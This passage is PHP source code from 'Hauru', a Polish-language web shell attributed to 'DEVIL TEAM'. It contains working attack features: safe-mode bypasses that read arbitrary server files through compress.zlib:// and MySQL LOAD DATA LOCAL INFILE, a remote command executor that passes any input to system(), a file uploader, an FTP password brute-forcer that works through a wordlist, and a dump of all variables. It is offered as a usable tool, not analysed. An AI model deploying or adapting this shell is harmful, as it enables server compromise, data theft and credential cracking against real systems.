Hauru wersja '.$wersja.' sluzy do zarzadzania wlasnym serverem/ftp.

Autor nie odpowiada za dzialanie skryptu oraz za szkody nim wyrzadzone.

Jesli nie akceptujesz tych warunkow to nie uzywaj hauru!!

Z powazaniem grupa DEVIL TEAM

Podmieniony plik [".$suma."] $lokacja[$i] !

Plik [".$suma."] $lokacja[$i] nie istnieje

Wybierz typ ataku:

Safe Mode Command Execution Bypass

Safe Mode Command Execution Bypass #2 (.shtml)

Safe Mode Bypass PHP 4.4.2 i PHP 5.1.2

Safe Mode Bypass Mysql

";
echo $safe_exec_01;
echo $safe_exec_02;
echo "

\n";
if(empty($file)){
if(empty($_GET['file'])){
if(empty($_POST['file'])){
die("\nElo.. skrypt pozwala na czytanie plików po mimo safe mode = on\n ");
} else {
$file=$_POST['file'];
}
} else {
$file=$_GET['file'];
}
}
$temp=tempnam($tymczas, "cx");
if(copy("compress.zlib://".$file, $temp)){
$zrodlo = fopen($temp, "r");
$tekst = fread($zrodlo, filesize($temp));
fclose($zrodlo);
echo "--- Start File ".htmlspecialchars($file)."
-------------\n".htmlspecialchars($tekst)."\n--- End File
".htmlspecialchars($file)." ---------------\n";
unlink($temp);
die("\nPlik
".htmlspecialchars($file)." zostal juz odczytany.");
} else {
die("Sorry... Plik
".htmlspecialchars($file)." nie istnieje albo nie masz dostepu!.");
}
}
if ($actionsafe=="safe_mode_04"){
echo "

  

  
    
SQL Server: 
      
      Port: 
      
Tabela: 
      
      

      Użytkownik:
      
      Haslo: 
      
Pokaż plik:





    
  
";
if ($_POST['odpal_to_gowno']=="hauru_mysql")
 {
  if(empty($_POST['adres'])) { $_POST['adres'] = "localhost"; }
  if(empty($_POST['port_hauru'])) { $_POST['port_hauru'] = "3306"; }
  $db = @mysql_connect($_POST['adres'].':'.$_POST['port_hauru'],$_POST['uzytkownik_mysql_hauru'],$_POST['haslo_mysql_hauru']);
  if($db)
   {
   if(@mysql_select_db($_POST['tabela_mysql_hauru'],$db))
    {
     @mysql_query("DROP TABLE IF EXISTS hauru");
     @mysql_query("CREATE TABLE `hauru` ( `file` LONGBLOB NOT NULL )");
     @mysql_query("LOAD DATA LOCAL INFILE \"".str_replace('\\','/',$_POST['pokaz_plik_mysql_hauru'])."\" INTO TABLE hauru FIELDS TERMINATED BY '' ESCAPED BY '' LINES TERMINATED BY '\n'");
     $r = @mysql_query("SELECT * FROM hauru");
     while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); }
     @mysql_query("DROP TABLE IF EXISTS hauru");
    }
    else echo "[-] Nie można odnale?ć bazy!
";
   @mysql_close($db);
   }
  else echo "[-] Nie można się połšczyć z bazš!
";
 }
}
}
//safe mode breaker koniec
if ($action=="winhack")
{
set_magic_quotes_runtime(0);
$wer = `ver`;
$host = gethostbyaddr($_SERVER['REMOTE_ADDR']);
$windir = `echo %windir%`;
   if( $cmd == "" ) {
    $cmd = 'dir /OG /X';
  }
print "";
print "";
print "" ;
print "" ;
print "";
print "";
print "" ;
print "";
print "";
print "";
print "";
print "";
print "";
print "";
print "";
print "";
print "";
print "
Ty:
 ".$_SERVER['REMOTE_ADDR']." [".$host."] 
Wersja OS:
 $wer 
Serwer:
".$_SERVER['SERVER_SIGNATURE']."
Win Dir:
 $windir 
";
print "
";
print "Komendy !!";
print "
";
print "";
print "   ";
print "";
print "   ";
print "";
print "   ";
print "";
print "
";
print "";
       system($cmd);
print "";
print "
";
print "
";
print "CMD: ";
print "
";
print "";
print " ";
print "
";
print "
";
print "Upload Plików:";
print "
";
print "";
print "Plik: 
";
print "Nazwa pliku na serwerze:  
";
print" ";
print"
";
 if (is_uploaded_file($userfile)) {
move_uploaded_file($userfile, $serverfile);
}
}
if ($action=="ftpbrute")
{
$host = $_POST["host"];
$user = $_POST["user"];
$dict = $_POST["dict"];
if (!isset($ftpbrute)) 
{
echo "
"; 
echo "Host: 
"; 
echo "User: 
";
echo "Wordlist: 
";
echo "";
echo "
";
}else{
$file = fopen ($dict, "r");
while (!feof ($file)) {
$pass[$i] = fgets($file, 1024);
$i++;
} fclose($file);
$limit = count($pass);
$width2 = $limit;
echo "[o] Wgrano ".$limit." hasel. 
";
echo "[o] Postep: 
";
echo "
";
for ($i=0; $i<$limit; $i++){
$ftp = ftp_connect($host, 21);
if(ftp_login($ftp, $user, $pass[$i])){
echo "
[o] Udalo sie!
[o] Login: ".$user."
[o] Haslo:".$pass[$i]."
";
}else{
$width = 1;
echo "";
}}
ftp_close($ftp);
echo "
Gotowe.";
}
}
if ($action=="defined_vars")
{
echo "

  

    
";
echo "";
$vars=get_defined_vars();
print_r($vars);
echo "";
}
?>

  

    
<? Copyright by DEVIL TEAM 2006r. ?>
  
Strona wygenerowana w '.$end.' sekund(y) !
';
?>